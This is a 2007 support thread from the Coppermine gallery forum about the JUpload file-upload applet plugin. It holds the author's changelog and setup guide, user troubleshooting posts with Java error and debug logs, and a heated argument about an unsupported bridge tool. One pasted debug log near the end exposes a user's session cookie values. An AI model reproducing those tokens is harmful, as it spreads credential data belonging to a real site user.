forum.coppermine-gallery.net

Support => cpg1.4 plugins => cpg1.4.x Support => Older/other versions => cpg1.4 plugin contributions => Topic started by: etienne_sf on April 28, 2007, 10:41:28 am

Title: Upload applet (JUpload) : the easiest upload !
Post by: etienne_sf on April 28, 2007, 10:41:28 am
Author: Etienne Gauthier
Account etienne_sf (on sourceforge and coppermine forums)


The easiest and quickest way to upload files !

Works for all navigators and all OS



Note:

3 June 2008 v3.1.1. Probably corrected a right management bug (to be checked by others, as I can't repeat it).
14 may 2008 v3.1.0. Uploading to the 'No category' is now possible. The applet manages 301, 302, 303 HTTP return code. when several 'forbidden' files are dropped, the user can click on cancel, instead of clicking ok for each alert box.
28 march 2008 v3.0.3c. Correction (?) for wolle1969 and possiblity to cancel the adding of files to the applet, when too many files are refused (for instance not pictures)
21 march 2008 v3.0.2. Correction to allow upload with IIS6 and IIS7.
23 feb 2008 v3.0.1. Animated gif correction: animated gif are now transmitted untransformed.
07 feb 2008 v3.0.0. Hot fix for 3.0.0rc4, and 'official' 3.0.0 release.
06 feb 2008 v3.0.0rc4 (should have been 3.0.0). Better quality upload than version from 2.6.4 to 3.0.0rc3, and better management of accents in uploaded filename.
24 jan 2008 v3.0.0 released (still release candidate, rc3). Specific session management (to be used
when standard session management doesn't wor with JUpload), restrict access to the plugin to a user group and admin, add of a graphical space quota view, allows to set common properties to all uploaded
pictures in one shot, add of new translations, compatibility with Stramm's modpack, ...
26 oct 2007 v2.6.3 released. Minor corrections + standard users now only see categories where they may upload.
26 oct 2007 v2.6.3 released. Minor corrections + standard users now only see categories where they may upload.
19 oct 2007 v2.6.2 released. Admin can now upload to its personal gallery (if any).
19 sept 2007 v2.6.1 released. IPTC and EXIF are now always transmitted.
5 sept 2007 v2.6.0 released. Ajax in user mode, to choose the category. Better storage management for big uploads. More config parameters. Better file chooser. Control applet size by config parameters.



The Coppermine plugin is available here: http://etienne.lesgauthier.fr/wiki/doku.php?id=jupload_coppermine_download_gb (http://etienne.lesgauthier.fr/wiki/doku.php?id=jupload_coppermine_download_gb).
The java sources for the applet are available here: http://sourceforge.net/projects/jupload/ (http://sourceforge.net/projects/jupload/)
The last JUpload stable version is attached to this message.

You can test the plugin, by going to my test web site : http://etiennegauthier.free.fr/coppermine/ (http://etiennegauthier.free.fr/coppermine/)



What's next in this doc:

1) SUMMARY
2) USER GUIDE
3) TECHNICAL DESCRIPTION
4) INSTALLATION
5) CONFIGURATION
6) HOW TO SOLVE PROBLEM ?
7) SUPPORT



1) SUMMARY

This pack is a plugin for the Coppermine Picture Gallery, which allows you:
This plugin is translated in the following languages: Croatian, Danish, Dutch, English, Esperanto, French, German, Hebrew, Italian, Japanese, Norwegian, Polish, (Bresilian) Portugese, Russian, Slovenian, Spanish, Swedish and Turkish.

In the default configuration, pictures are resized down to the gallery maximum size before upload: this make upload quicker, and allow easy upload of pictures from modern camera, even on ISP that has a too low maximum upload size.


2) USER GUIDE

Upload pictures

By using this applet, the main user improvements are:



The applet allows the user, before upload, to:




3) TECHNICAL DESCRIPTION

Java Part

All informations about the applet itself is available here: http://sourceforge.net/projects/jupload/ (http://sourceforge.net/projects/jupload/)

Note:


PHP Part


To access to the plugin, one of these conditions must be met:



4) INSTALLATION / UPDATE

Version prior to 2.1.0
should migrate to a most recent version to use JUpload as a Coppermine plugin.

With the plugin management page

This work since JUpload version 2.1.0.

To use this pack, you just have to go the plugin management page, from the first section of the Gallery configuration page. Just use the upload button on the plugin management page, to upload it, then click on the 'i' to install it.

A JUpload link will be available for use who may upload pictures.

Any existing JUpload configuration is keeped, when installing a new version: see below, the Configuration section.

With FTP upload

On some configuration, the previous way doesn't work. For instance, the web server need write access on the plugins directory, and the php zip extension must be activated.

In this case, you'll have to:


The resulting directory tree should look like this :

...
\coppermine\plugins
\coppermine\plugins\jupload
\coppermine\plugins\jupload\lang
\coppermine\plugins\jupload\include
\coppermine\plugins\jupload\user
\coppermine\plugins\jupload\page
...

If it was not already before, you'll then have to go the plugin management page, from the first section of the Gallery configuration page and click on the 'i' (on the right of the JUpload line) to install it.


5) CONFIGURATION

This plugin has configuration parameters. Before 2.6.0, these parameters are stored in the plugins/jupload/user/config.inc.php file. This file is not packaged in JUpload releases. So ugrading JUpload plugin won't erase your current configuration.
Since 2.6.0, the JUpload configuration is saved in the Coppermine config table.

You can update the JUpload configuration this way:
1) Connect as an admin
2) Go to the Coppermine ''Configuration'' page
3) Click on 'General parameters'
4) Click on 'Plugin management'
5) If the Jupload plugin is not installed, install it
6) Click on ''JUpload configuration''.

You'll find below the list of available paramaters. All details about the JUpload configuration, and each parameter are given in the config file and on the config page:
Parameter that has no link with upload:
  - albumShowEditFields: allows to hide the album name and description on the upload page. Useful if standard users may only upload to existing albums (not create or update albums).
  - alwaysVisible: 1 if the JUpload link is always visible. If 0, the JUpload link is only visible to users that may upload pictures. If the link is visible, a user who may not upload pictures (or is not logged in) will be redirected to a connection page. [Since 3.0.0] This parameter also allows you to restrict access to the plugin to both administrators and a given user group.
  - appletHeight and appletWidth (since 2.6.0): allows control on the size of the applet on the upload page.
  - basicHttpAuthentication (since 2.5.3): allows upload to an URL protected by a basic authentication.
  - fileChooserIconFromFileContent (since 2.6.0): if set to true, the icon of the files in the file chooser are calculated from the image content. Otherwise: system default.
  - fileChooserIconSize (since 2.6.0): Size of the icon described here above.
  - generateDefaultPictureTitle: Controls whether the plugin will define a default picture title for the uploaded file. This default title will be based on the filename. 
  - highQualityPreview: Indicate whether the pictures displayed on the applet are high or low (less CPU) quality. Of course, all uploaded pictures are treated in high quality.
  - jarPath: allows the applet to be integrated in Coppermine, even when Coppermine is itself a plugin of another tool. It controls the path where the jupload.jar file is.
  - linkComment (since 2.5.5): Allows the admin to change the explanation that is displayed, when the user put his mouse over the JUpload link.
  - linkKeepStandardUpload (since 2.5.6): Allows the admin to change the explanation that is displayed, when the user put his mouse over the JUpload link.
  - linkTitle (since 2.5.5): allows the admin to change the text of the JUpload link.
  - sessionManagement (since 3.0.0): allows to use internal JUpload session management. Make the plugin work with some specific bridge configuration, where standard session management lead to a 'no permission' error.


Parameters to control the upload itself:
  - maxChunkSize: Define the maximum number of bytes that may be uploaded at once. A file bigger will bu splitted in chunks. The whole file will be re-created on the serve, once all chunks have been sent.
  - maxFileSize. Maximum file size for an uploaded file. It can be bigger than the maxChunkSize. This parameter overrides your Coppermine configuration for JUpload.
  - maxNonTransformedPictureSize. This parameter is important to control who of the applet or the server resizes pictures bigger than the maximum picture size (in pixels) you've defined in your Coppermine configuration.
  - pictureCompressionQuality: controls the jpeg compression. Default is 0.8. It creates pictures of the same weight as the native Coppermine.
  - pictureTransmitMetadata (since 2.6.3): Controls whether the applet transmit metadata (IPTC, EXIF) to the server or not. Caution: this currently controls only metadata for picture resized or rotated by the applet. Picture transmitted as is (small enough, and not rotated) remain unchanged.



6) HOW TO SOLVE PROBLEMS ?



A little FAQ


  * You're using Firefox on mac
    * Seems like the bridge between Firefox and Java doesn't exit on mac! This bridge is mandatory for the applet.
    * This tool should allow you to use the applet (please confirm it to me):
      * http://javaplugin.sourceforge.net
  * You're using IE7 on Vista
    *  Crash was reported. To be confirmed.
  * You get a PHP error
    * Check your PHP version. The plugin can't work for PHP earlier than 4.3.0.
  * You don't see the whole applet.
    * Take a look to the configuration parmeters appletWidth and appletHeight.
  * Your Coppermine installation is a plugin (bridge ?) in another tool, and the applet i not displayed
    * Take a look to the jarPath plugin.
  * When uploading through the applet, ou get a 'no permission error', or any other message indicating that you're not connected.  Seems to occur sometimes, when your Coppermine installation is a plugin (bridge mode).
    * Take a look at the sessionManagement configuration parameter, since 3.0.0.
  * You want to restrict access to the plugin.
    * Take a look at the alwaysVisible configuration parameter, especially since 3.0.0.
  * Picture is transformed (picture file is smaller, for instance), but I don't want it !
    * Take a look at the explanation going with the pictureTransmitMetadata configuration parameter.
  * What else ?
    * Get the debug output (see below)

How to get the debug output ?


Before asking for support, you should :



Usually, problems occur during upload, so check the debug output, to see what the server answered. To do this:[/li][/list]


What you should see:
7) SUPPORT



Edit GauGau 2008-06-08:
There is a new sub-board dedicated to JUpload. All questions regarding JUpload should be posted in that sub-board from now on. To make sure that people stop replying to this thread I'm locking it.

forum.coppermine-gallery.net > Support > cpg1.4.x Support > cpg1.4 plugins > cpg1.4 JUpload by etienne_sf (http://forum.coppermine-gallery.net/index.php/board,100.0.html)


[Edit GauGau 2008-06-10]
Removed attachment as per request. Everyone please review the new board and look for updated JUpload versions there
[/Edit]
Title: Re: Upload applet (JUpload)
Post by: skidpics on April 28, 2007, 07:18:01 pm

The Coppermine plugin is available here: http://etienne.lesgauthier.fr/wiki/doku.php?id=jupload_coppermine_download_gb (http://etienne.lesgauthier.fr/wiki/doku.php?id=jupload_coppermine_download_gb).


The site never loads - is there another place the plugin is loaded, or can you attach a zip file to this thread?

-- Skidpics
Title: Re: Upload applet (JUpload)
Post by: etienne_sf on April 30, 2007, 09:34:19 am
The site never loads - is there another place the plugin is loaded, or can you attach a zip file to this thread?

1) I've attached the last stable JUpload to the first message of this thread
2) I've rebooted my server. It's its second problem of this kind. I'll have to find out what happens. I'll add a daily reboot.

Etienne
Title: Re: Upload applet (JUpload)
Post by: bgarland on May 02, 2007, 09:44:23 pm
I have installed Jupload and now have it in the main menu. But when I click on it, nothing happens (other than returning me to the home page). I am running Coppermine bridged in Joomla using CoppermineVis. Could this be causing a problem with your plugin?
Title: Re: Upload applet (JUpload)
Post by: choupette549 on May 03, 2007, 09:21:10 pm
Hi guys, Hi Etienne,

Can you say me where I can modify the message
that appears when the upload of the pictures ends and is ok
or correct the two faults in the french translation ?

Because I don't find it. The two errors are :

Quote
Les images ont t charges sur le serveur dans l'album slectionn.
Cliquez sur Ok pour mettre des noms et des commentaires ces images. [...]

Thanks a lot.
Title: Re: Upload applet (JUpload)
Post by: etienne_sf on May 05, 2007, 01:07:51 pm
Can you say me where I can modify the message
that appears when the upload of the pictures ends and is ok
or correct the two faults in the french translation ?

Are yous suggesting that I've some mistakes in my own language ?   :P

  I've seen this message so many times, that I don't event read it. I was about to release a 2.4.1 version. I'll correct it inot this version.

  In the meantime, you can update the ./plugins/jupload/lang/french.php file

Etienne
Title: Re: Upload applet (JUpload)
Post by: etienne_sf on May 05, 2007, 01:10:29 pm
I have installed Jupload and now have it in the main menu. But when I click on it, nothing happens (other than returning me to the home page). I am running Coppermine bridged in Joomla using CoppermineVis. Could this be causing a problem with your plugin?

Hum, hum,

  Its the first report of this kind.  >:(

Can you send me a quick description of your installation, and the URL to download the tools you're using ?  I'll install it on my computer, and test it.

Etienne
Title: Re: Upload applet (JUpload)
Post by: choupette549 on May 05, 2007, 01:47:23 pm
Quote
Are yous suggesting that I've some mistakes in my own language ?   

  I've seen this message so many times, that I don't event read it. I was about to release a 2.4.1 version. I'll correct it inot this version.

  In the meantime, you can update the ./plugins/jupload/lang/french.php file

Etienne

I post this message so that you can correct this little fault but also because this message isn't in french.php
and I don't find it in the other files of your plugin.

Have a nice weekend
Title: Re: Upload applet (JUpload)
Post by: will on May 07, 2007, 07:28:45 pm
Thanks for this great plugin, 1 thing tho, is there a way of replacing the _ with spaces in the modification screen so its easier for myself and members

Thanks ;D
Title: Re: Upload applet (JUpload)
Post by: etienne_sf on May 07, 2007, 10:45:32 pm
I post this message so that you can correct this little fault but also because this message isn't in french.php
and I don't find it in the other files of your plugin.

You're right twice:
1) This text is in the applet itself (in the java code)
2) The French text contains error...   :(

  It will be corrected in the next version.

Etienne
Title: Re: Upload applet (JUpload)
Post by: etienne_sf on May 07, 2007, 10:47:16 pm
Thanks for this great plugin, 1 thing tho, is there a way of replacing the _ with spaces in the modification screen so its easier for myself and members

Thanks  :)

  Do you mean replacing the _ by spaces in the picture titles ?

Etienne
Title: Re: Upload applet (JUpload)
Post by: will on May 08, 2007, 11:29:45 am
The one thing I like about this plugin is that it adds the picture title for you so less modification is needed.

For example:

DJ_Pocholo_-_Que_Dios_Salve_A_Las_Vacas_Y_A_To2_Nosotros_Cd1_(Back)

What I want is:

DJ Pocholo - Que Dios Salve A Las Vacas Y A To2 Nosotros Cd1 (Back)

Hope this helps

Thanks ;D
Title: Re: Upload applet (JUpload)
Post by: etienne_sf on May 09, 2007, 10:26:38 pm
DJ_Pocholo_-_Que_Dios_Salve_A_Las_Vacas_Y_A_To2_Nosotros_Cd1_(Back)
What I want is:
DJ Pocholo - Que Dios Salve A Las Vacas Y A To2 Nosotros Cd1 (Back)

It's clear.

  I'll add it to the next release.

Etienne
Title: Re: Upload applet (JUpload)
Post by: will on May 09, 2007, 11:57:06 pm
Also is there a way of only making the JUpload available to admin, as I prefer to let myself and my admin use it and let my members use the old upload feature

Thanks ;D
Title: Jave Errors when using JUpload
Post by: Shane on May 12, 2007, 09:25:33 pm
Etienne,

I am using coppermine in a joomla site using the copperminevis component from joombla.com.  I have installed the JUpload plugin, but when I click on the JUpload link I get 2 java error messages.

I've attached screen shots of both errors and the Internet Explorer error message.

I have also checked my java runtime environment on my computer and it is up to date.

Can you give me any idea of what I need to add?
site:  http://troop445.org/cms

Thanks!
Shane
Title: Re: Jave Errors when using JUpload
Post by: etienne_sf on May 13, 2007, 11:09:05 pm
I am using coppermine in a joomla site using the copperminevis component from joombla.com.  I have installed the JUpload plugin, but when I click on the JUpload link I get 2 java error messages.

Hi,

  Seems like the JVM can't download the jar file from the server.

 Can you check that you can download the wjhk.jupload.jar, that should be in the plugins/jupload directory. You can do this by typing the URL in IE.
 I could not test it, as I could not find the plugins directory of your site, by trying both:
http://troop445.org/cms/plugins/jupload/jupload.php
http://troop445.org/cms/coppermine/plugins/jupload/jupload.php
 
Etienne
Title: Re: Upload applet (JUpload)
Post by: Shane on May 13, 2007, 11:47:35 pm
Etienne,

Quote
Can you check that you can download the wjhk.jupload.jar, that should be in the plugins/jupload directory. You can do this by typing the URL in IE.

The file wjhk.jupload.jar is on my server.  I typed the url (http://troop445.org/cms/components/com_copperminevis/cpg/plugins/jupload/wjhk.jupload.jar) into IE, hit ENTER, and was asked if I wanted to save the .zip file (I don't know if this is right or not - java idiot).

I did save the file, and extracted just to see what was there.  I haven't moved any of these files back to the server.  Should I?

Is there something in IE that is keeping the .jar file from loading when the JUpload page loads?

I appreciate your time and knowledge on this!
Shane
Title: Re: Upload applet (JUpload)
Post by: etienne_sf on May 14, 2007, 06:10:44 pm
The file wjhk.jupload.jar is on my server.  I typed the url (http://troop445.org/cms/components/com_copperminevis/cpg/plugins/jupload/wjhk.jupload.jar) into IE, hit ENTER, and was asked if I wanted to save the .zip file (I don't know if this is right or not - java idiot).

  My question was just to try to download the file, and check that is it possible. So, from your test, this point is Ok.

As I don't have any login/password (which is quite logical), I can't test it. Does it work, when you use the following URL ?
http://troop445.org/cms/components/com_copperminevis/cpg/index.php?file=jupload/jupload (http://troop445.org/cms/components/com_copperminevis/cpg/index.php?file=jupload/jupload)

Etienne
Title: Re: Upload applet (JUpload)
Post by: Shane on May 14, 2007, 06:51:36 pm
Etienne,

PM'd you a test account.

I cannot test at work - old Java environment and they will not update...

I'll try this evening.
Shane

Thanks!
Title: Re: Upload applet (JUpload)
Post by: Shane on May 14, 2007, 11:18:55 pm
Etienne,

Could it be a simple URL issue?  Since the coppermine and the applet is embedded in Joomla, the url to pull the .jar file might be wrong.

The direction to call the .jar is now under "index.php?option=com_copperminevis"

Where in the code would I change the URL to allow the applet to call up and load the .jar file?

Shane
Title: Re: Upload applet (JUpload)
Post by: Joachim Mller on May 15, 2007, 08:11:41 am
copperminevis is a pirate app that goes unsupported.
Title: Re: Upload applet (JUpload)
Post by: Shane on May 15, 2007, 12:29:45 pm
Oh great and powerful GauGau,

I didn't ask for your help with this problem.  I'm conversing with the writer of the applet, and Etienne seems to be willing to help.  It seems she started this thread to help people with problems with her application.

I don't know why you treat yourself as some sort of Coppermine god.  You do not provide any useful information in your posts.  You only belittle the content previously posted, or send people away.  Is your life so bad that you must do that on a forum board?  Are there not dogs or kids around you can kick instead?

Copperminvis works for those of us idiot people that know nothing about coding.  It presents a one-click option for installing Coppermine inside an already running website.  I'm sorry if you think Todd stepped on your toes.  As far as I know, Coppermine is not private or licensed software, and is open source.  I thought that meant you could do what you wanted with it.  But as I previously stated, I'm an idiot.

Etienne,

I appreciate the time and effort you have put into this application, and any help you can give me.  If you will get in trouble from the great and powerful GauGau by helping me, please don't help anymore.  I am sure sooner or later, I'll stumble upon the fix for my problem.

I am sure that either this post will be deleted by the great and powerful GauGau or I will be banned.  That's fine.  For the most part, I've learned a lot from this board and I appreciate those who willingly help, and do not belittle the problems being discussed or the questions being asked.

Shane
Title: Re: Upload applet (JUpload)
Post by: Hein Traag on May 15, 2007, 01:17:36 pm
Shane, GauGau merely pointed out that CoppermineVis is unsupported on this board. He was not trying to belittle you or send you away.
CoppermineVis is disregarding the copyright protection and is therefore considered a piracy app, since they seem unwilling to comply the basic rules of using CPG. http://forum.coppermine-gallery.net/index.php?topic=41998.0 (http://forum.coppermine-gallery.net/index.php?topic=41998.0)

And next time be so kind to count to 10 before posting a rant like this. It does not help anyone.

Thanks
Hein
Title: Re: Upload applet (JUpload)
Post by: etienne_sf on May 15, 2007, 06:21:34 pm
Could it be a simple URL issue?  Since the coppermine and the applet is embedded in Joomla, the url to pull the .jar file might be wrong.

Shane,

  I've receive your PM, and I've seen previews post, sent after yours. I'll take a look to your problem.

  The problem will be the same for all kind of Coppermine integration into other tools, and it's the first time that someone give a login/password. The applet should adapt itself to its current directory, which may depend when Coppermine is integrated into other tools.

Etienne
Title: Re: Upload applet (JUpload)
Post by: will on May 15, 2007, 10:33:42 pm
Oh great and powerful GauGau,

I didn't ask for your help with this problem.  I'm conversing with the writer of the applet, and Etienne seems to be willing to help.  It seems she started this thread to help people with problems with her application.

I don't know why you treat yourself as some sort of Coppermine god.  You do not provide any useful information in your posts.  You only belittle the content previously posted, or send people away.  Is your life so bad that you must do that on a forum board?  Are there not dogs or kids around you can kick instead?

Copperminvis works for those of us idiot people that know nothing about coding.  It presents a one-click option for installing Coppermine inside an already running website.  I'm sorry if you think Todd stepped on your toes.  As far as I know, Coppermine is not private or licensed software, and is open source.  I thought that meant you could do what you wanted with it.  But as I previously stated, I'm an idiot.

Etienne,

I appreciate the time and effort you have put into this application, and any help you can give me.  If you will get in trouble from the great and powerful GauGau by helping me, please don't help anymore.  I am sure sooner or later, I'll stumble upon the fix for my problem.

I am sure that either this post will be deleted by the great and powerful GauGau or I will be banned.  That's fine.  For the most part, I've learned a lot from this board and I appreciate those who willingly help, and do not belittle the problems being discussed or the questions being asked.

Shane

I agree ;D
Title: Re: Upload applet (JUpload)
Post by: antracit on May 16, 2007, 11:30:06 pm
copperminevis is a pirate app that goes unsupported.


:D

Keep up your Good work and Support of Coppermine and this board GauGau!

Thanks
Title: Re: Upload applet (JUpload)
Post by: LastActionHero on May 18, 2007, 05:21:45 pm
i have a question concerning the upload mod! i set resize image at 700pix in coppermine config! The plugin resizes the images to that size, but their filesize is biggen than coppermine itselve would do it! coppermine sizes down a 2000kb image to 80kb! if i use the plugin its size is about 300kb! how can i afford smaler image size?
Title: Re: Upload applet (JUpload)
Post by: Acronyc on May 19, 2007, 01:40:13 am
Hello, I am having a problem with this plugin and I'm not really sure how to fix it.  I installed it fine and everything was going smoothly until I tried to upload images.  Once it finishes uploading the first image it gives me an error and stops uploading.  This happens every time, and in both Firefox and IE.  Here's the error:

01:30:02.578 [INFO] Debug level set to 0
01:30:02.906 [WARN] Invalid int value: , using default value: 0
01:30:02.906 [INFO] JUpload plugin for coppermine version 2.4.1
01:31:16.453 [INFO] Debug level set to 1
01:31:16.453 [ERROR] Upload stopped with errors
01:31:16.453 [ERROR] wjhk.jupload2.exception.JUploadException: java.lang.NumberFormatException: For input string: "a6 "
01:31:16.453 [ERROR]    at wjhk.jupload2.upload.FileUploadThreadHTTP.finishRequest(FileUploadThreadHTTP.java:349)
01:31:16.453 [ERROR]    at wjhk.jupload2.upload.DefaultFileUploadThread.doUpload(DefaultFileUploadThread.java:679)
01:31:16.453 [ERROR]    at wjhk.jupload2.upload.DefaultFileUploadThread.run(DefaultFileUploadThread.java:442)
01:31:16.453 [ERROR] Caused by: java.lang.NumberFormatException: For input string: "a6 "
01:31:16.453 [ERROR]    at java.lang.NumberFormatException.forInputString(Unknown Source)
01:31:16.453 [ERROR]    at java.lang.Integer.parseInt(Unknown Source)
01:31:16.453 [ERROR]    at wjhk.jupload2.upload.FileUploadThreadHTTP.finishRequest(FileUploadThreadHTTP.java:275)
01:31:16.453 [ERROR]    ... 2 more
01:31:16.468 [ERROR] wjhk.jupload2.exception.JUploadException: java.lang.NumberFormatException: For input string: "a6 "
01:31:16.468 [ERROR]    at wjhk.jupload2.upload.FileUploadThreadHTTP.finishRequest(FileUploadThreadHTTP.java:349)
01:31:16.468 [ERROR]    at wjhk.jupload2.upload.DefaultFileUploadThread.doUpload(DefaultFileUploadThread.java:679)
01:31:16.468 [ERROR]    at wjhk.jupload2.upload.DefaultFileUploadThread.run(DefaultFileUploadThread.java:442)
01:31:16.468 [ERROR] Caused by: java.lang.NumberFormatException: For input string: "a6 "
01:31:16.468 [ERROR]    at java.lang.NumberFormatException.forInputString(Unknown Source)
01:31:16.468 [ERROR]    at java.lang.Integer.parseInt(Unknown Source)
01:31:16.468 [ERROR]    at wjhk.jupload2.upload.FileUploadThreadHTTP.finishRequest(FileUploadThreadHTTP.java:275)
01:31:16.468 [ERROR]    ... 2 more


I'm not sure exactly how to read this and where to start looking for the problem.  Any help would be appreciated!!  Thanks!!
Title: Re: Upload applet (JUpload)
Post by: Iamatree on May 21, 2007, 11:10:35 am
You don't have permission to perform this operation.

If you're not connected, please login first


I get this error when trying to add captions to the photos after uploading. It works if I'm logged in as the admin, but regular members get this message.
Title: Re: Upload applet (JUpload)
Post by: etienne_sf on May 24, 2007, 09:48:29 pm
i have a question concerning the upload mod! i set resize image at 700pix in coppermine config! The plugin resizes the images to that size, but their filesize is biggen than coppermine itselve would do it! coppermine sizes down a 2000kb image to 80kb! if i use the plugin its size is about 300kb! how can i afford smaler image size?

Good question!

  I choosed to create hiwghQulaity resized pics in all cases. Seems better to let you choose.

I'll add a new config parameter in a next version.

Etienne
Title: Re: Upload applet (JUpload)
Post by: etienne_sf on May 24, 2007, 09:52:56 pm
I'm not sure exactly how to read this and where to start looking for the problem.  Any help would be appreciated!!  Thanks!!

I'm not sure either: strange problem.

  Can you activate the debug on :  CTRL + RIGHT CLICK on the file list, and select 'Debug on'

Then, send me the full debug output, by mail or PM. I should then have enough info to help you.

Etienne
Title: Re: Upload applet (JUpload)
Post by: etienne_sf on May 24, 2007, 09:58:31 pm
You don't have permission to perform this operation.
If you're not connected, please login first

I get this error when trying to add captions to the photos after uploading. It works if I'm logged in as the admin, but regular members get this message.

Hi,

  Does it happen for album in the user's personal gallery, or for public albums, created by the admin ?

Etienne
Title: Re: Upload applet (JUpload)
Post by: LastActionHero on May 25, 2007, 09:27:53 am
Good question!

  I choosed to create hiwghQulaity resized pics in all cases. Seems better to let you choose.

I'll add a new config parameter in a next version.

Etienne


that would be really great! i hope that will be soon :)
thx for one of the best coppermine plugins!
Title: Re: Upload applet (JUpload)
Post by: etienne_sf on May 25, 2007, 10:35:56 pm
01:31:16.453 [ERROR] Upload stopped with errors
01:31:16.453 [ERROR] wjhk.jupload2.exception.JUploadException: java.lang.NumberFormatException: For input string: "a6 "
ure exactly how to read this and where to start looking for the problem.  Any help would be appreciated!!  Thanks!!

Hi,

  Please take a look at the 2.4.2 release that I just created. It should resolve your trouble.

Regards
Etienne
Title: Re: Upload applet (JUpload)
Post by: will on May 25, 2007, 11:14:11 pm
Thank you for putting in the code to remove the _ in the mod page

Spot on ;D
Title: Re: Upload applet (JUpload)
Post by: Vincs on May 28, 2007, 10:08:08 am
Hello !
I can't upload pictures sinds I install the 2.4.2 versions.
I don't know if it's due to server or plug-in.
I will check again later.
There is the debug :

Code: [Select]
10:06:13.625 [INFO] Debug level set to 0
10:06:13.734 [WARN] Invalid int value: , using default value: 0
10:06:13.750 [INFO] JUpload plugin for coppermine version 2.4.2
10:06:19.046 [INFO] Debug level set to 100
10:06:19.046 [DEBUG] =======================================================================
10:06:19.046 [DEBUG] ======= Parameters managed by DefaultUploadPolicy
10:06:19.046 [INFO] JUpload applet, version 3.0.0a3 ($Revision: 173 $) ($Date: 2007-05-25 19:25:24 +0000 (ven., 25 mai 2007) $), available at http://jupload.sourceforge.net/
10:06:19.046 [DEBUG] Java version: 1.6.0
10:06:19.046 [DEBUG] Cookie: 8184a60d9bb6025008eb461affa54c1c=c0c72767a7fb73391ab180f84c7501cc; cpg143_data=YTo0OntzOjI6IklEIjtzOjMyOiIwZDA2NmI3ZWQ4YTMzN2UwZDU0MGZhNDE2M2Y0YjgzNSI7czoyOiJhbSI7aToxO3M6NDoibGFuZyI7czo2OiJmcmVuY2giO3M6MzoibGl2IjthOjE6e2k6MDtzOjQ6IjEwMjgiO319; FRQSTR=19549310|19549310|19549310|19549310|19549310
10:06:19.046 [DEBUG] userAgent: Mozilla/5.0 (Windows; U; Windows NT 5.1; fr; rv:1.8.1.3) Gecko/20070309 Firefox/2.0.0.3
10:06:19.046 [DEBUG] List of all applet parameters:
10:06:19.046 [DEBUG]   language: fr
10:06:19.046 [DEBUG]   country:
10:06:19.062 [DEBUG] afterUploadURL: null
10:06:19.062 [DEBUG]   allowedFileExtensions: /jpg/jpeg/jpe/gif/png/bmp/jpc/jp2/jpx/jb2/swc/iff/asf/asx/mpg/mpeg/wmv/swf/avi/mov/mp3/midi/mid/wma/wav/ogg/psd/doc/txt/rtf/pdf/xls/pps/ppt/zip/gz/mdb/
10:06:19.062 [DEBUG] debug: 100
10:06:19.062 [DEBUG] filenameEncoding: null
10:06:19.062 [DEBUG] lang: fr
10:06:19.062 [DEBUG] maxChunkSize: 9223372036854775807
10:06:19.062 [INFO] maxFileSize  : 1024000
10:06:19.062 [DEBUG] nbFilesPerRequest: 1
10:06:19.062 [DEBUG] postURL: http://mpzportal.online.fr/index.php?file=jupload/jupload&action=add_picture
10:06:19.062 [DEBUG] serverProtocol: HTTP/1.1
10:06:19.062 [DEBUG] showLogWindow: false
10:06:19.062 [DEBUG] stringUploadSuccess: SUCCESS
10:06:19.062 [DEBUG] stringUploadError: ERROR: (.*)
10:06:19.062 [DEBUG] urlToSendErrorTo: http://mpzportal.online.fr/index.php?file=jupload/jupload&action=log_error
10:06:19.062 [DEBUG]
10:06:19.062 [DEBUG] ======= Parameters managed by PictureUploadPolicy
10:06:19.062 [DEBUG] maxPicWidth : 2048, maxPicHeight : 2048
10:06:19.062 [DEBUG] realMaxPicWidth : 2048, realMaxPicHeight : 2048
10:06:19.062 [DEBUG] highQualityPreview : true
10:06:19.062 [DEBUG] storeBufferedImage : false
10:06:19.062 [DEBUG] targetPictureFormat : null
10:06:19.062 [DEBUG]
10:06:19.062 [DEBUG] ======= Parameters managed by CoppermineUploadPolicy
10:06:19.062 [DEBUG] albumId : 43
10:06:19.062 [DEBUG]
10:06:22.281 [DEBUG] isPicture=true (PICT0700.JPG), extension=JPG
10:06:22.281 [DEBUG] isPicture=true (PICT0701.JPG), extension=JPG
10:06:22.281 [DEBUG] isPicture=true (PICT0702.JPG), extension=JPG
10:06:22.281 [DEBUG] isPicture=true (PICT0703.JPG), extension=JPG
10:06:22.281 [DEBUG] isPicture=true (PICT0704.JPG), extension=JPG
10:06:22.281 [DEBUG] isPicture=true (PICT0705.JPG), extension=JPG
10:06:22.281 [DEBUG] isPicture=true (PICT0706.JPG), extension=JPG
10:06:22.281 [DEBUG] isPicture=true (PICT0707.JPG), extension=JPG
10:06:22.296 [DEBUG] isPicture=true (PICT0708.JPG), extension=JPG
10:06:22.296 [DEBUG] isPicture=true (PICT0709.JPG), extension=JPG
10:06:22.296 [DEBUG] isPicture=true (PICT0710.JPG), extension=JPG
10:06:22.296 [DEBUG] isPicture=true (PICT0711.JPG), extension=JPG
10:06:22.296 [DEBUG] isPicture=true (PICT0712.JPG), extension=JPG
10:06:22.296 [DEBUG] isPicture=true (PICT0713.JPG), extension=JPG
10:06:22.296 [DEBUG] isPicture=true (PICT0714.JPG), extension=JPG
10:06:22.296 [DEBUG] isPicture=true (PICT0715.JPG), extension=JPG
10:06:22.296 [DEBUG] isPicture=true (PICT0716.JPG), extension=JPG
10:06:22.296 [DEBUG] isPicture=true (PICT0717.JPG), extension=JPG
10:06:22.296 [DEBUG] isPicture=true (PICT0718.JPG), extension=JPG
10:06:22.296 [DEBUG] isPicture=true (PICT0719.JPG), extension=JPG
10:06:22.296 [DEBUG] isPicture=true (PICT0720.JPG), extension=JPG
10:06:22.312 [DEBUG] isPicture=true (PICT0721.JPG), extension=JPG
10:06:23.359 [DEBUG] PicturePanel.paint(): offscreenImage is null
10:06:23.406 [DEBUG] Action : Envoyer
10:06:23.406 [DEBUG] Upload done by using the wjhk.jupload2.upload.FileUploadThreadHTTP class
10:06:23.453 [DEBUG] Timer started
10:06:23.546 [DEBUG] freeMemory (after hasToTransformPicture) : 5018648
10:06:23.546 [DEBUG] PICT0700.JPG : hasToTransformPicture = false
10:06:23.656 [DEBUG] freeMemory (after hasToTransformPicture) : 5015608
10:06:23.656 [DEBUG] PICT0701.JPG : hasToTransformPicture = false
10:06:23.812 [DEBUG] freeMemory (after hasToTransformPicture) : 4989896
10:06:23.812 [DEBUG] PICT0702.JPG : hasToTransformPicture = false
10:06:23.906 [DEBUG] freeMemory (after hasToTransformPicture) : 4979056
10:06:23.906 [DEBUG] PICT0703.JPG : hasToTransformPicture = false
10:06:24.046 [DEBUG] freeMemory (after hasToTransformPicture) : 5241600
10:06:24.046 [DEBUG] PICT0704.JPG : hasToTransformPicture = false
